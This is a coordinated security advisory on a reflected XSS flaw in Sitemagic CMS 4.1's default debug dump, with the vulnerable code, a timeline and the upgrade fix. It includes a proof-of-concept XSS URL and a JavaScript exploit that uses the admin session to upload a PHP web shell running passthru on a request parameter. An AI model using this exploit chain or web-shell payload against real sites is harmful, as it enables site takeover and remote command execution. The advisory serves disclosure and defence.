Security Advisory - Curesec Research Team

1. Introduction

Affected        Sitemagic CMS 4.1
Product:
Fixed in:       4.1.1
Fixed Version   http://sitemagic.org/index.php?SMExt=SMDownloads&
Link:           SMDownloadsFile=SitemagicCMS411.zip
Vendor Contact: dev@sitemagic.org
Vulnerability   XSS
Type:
Remote          Yes
Exploitable:
Reported to     09/29/2015
vendor:
Disclosed to    11/13/2015
public:
Release mode:   Coordinated release
CVE:            n/a
Credits         Tim Coen of Curesec GmbH

2. Overview

CVSS

Medium 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N

Description

If debug is enabled - which it is by default - the values of POST and GET are
echoed unencoded, leading to an XSS vulnerability. With this, it is possible to
inject JavaScript keyloggers, or to bypass CSRF protection, which in this case
may lead to code execution.

3. Proof of Concept


http://localhost/Sitemagic/?dump=true&foo='"></script><script>alert(1)</script>

4. Code


index.php
if ($debug === true)
{
        $end = microtime(true);

        if (isset($_REQUEST["dump"]) === true)
        {
                $time = $end - $start;

                echo "<br>Memory usage: " . memory_get_usage(true) / 1024 . " KB";
                echo "<br>Time usage: " . $time . " seconds";

                echo "
                <br><h3>POST</h3>
                <pre>" . print_r($_POST, true) . "</pre>

                <br><h3>GET</h3>
                <pre>" . print_r($_GET, true) . "</pre>
                ";
        }
}

5. XSS to Code Execution

Because the file upload in the admin area does not restrict the file type, an
attacker can gain code execution via the XSS vulnerability.


http://localhost/Sitemagic/?dump=true&foo="><script src="http://localhost/s.js"></script>

/s.js:
submitRequest();

function submitRequest() {
    var xhr = new XMLHttpRequest();
    xhr.open("POST", "http://localhost/Sitemagic/index.php?SMExt=SMFiles&SMTemplateType=Basic&SMExecMode=Dedicated&SMFilesUpload&SMFilesUploadPath=files%2Fimages%2Fdemo", true);
    xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
    xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
    xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------72100436920187879541838388265");
    xhr.withCredentials = true;
    var body = "-----------------------------72100436920187879541838388265\r\n" +
"Content-Disposition: form-data; name=\"SMInputSMFilesUpload\"; filename=\"shell.php\"\r\n" +
"Content-Type: application/x-php\r\n" +
"\r\n" +
"\x3c?php passthru($_GET[\'x\']); ?\x3e\n" +
"\r\n" +
"-----------------------------72100436920187879541838388265\r\n" +
"Content-Disposition: form-data; name=\"SMPostBackControl\"\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------72100436920187879541838388265--\r\n";
    var aBody = new Uint8Array(body.length);
    for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
    xhr.send(new Blob([aBody]));
}

6. Solution

To mitigate this issue please upgrade at least to version 4.1.1:

http://sitemagic.org/index.php?SMExt=SMDownloads&SMDownloadsFile=
SitemagicCMS411.zip

Please note that a newer version might already be available.

7. Report Timeline

09/29/2015 Informed Vendor about Issue
09/29/2015 Vendor releases fix
11/13/2015 Disclosed to public


Blog Reference:
http://blog.curesec.com/article/blog/Sitemagic-CMS-41-XSS-91.html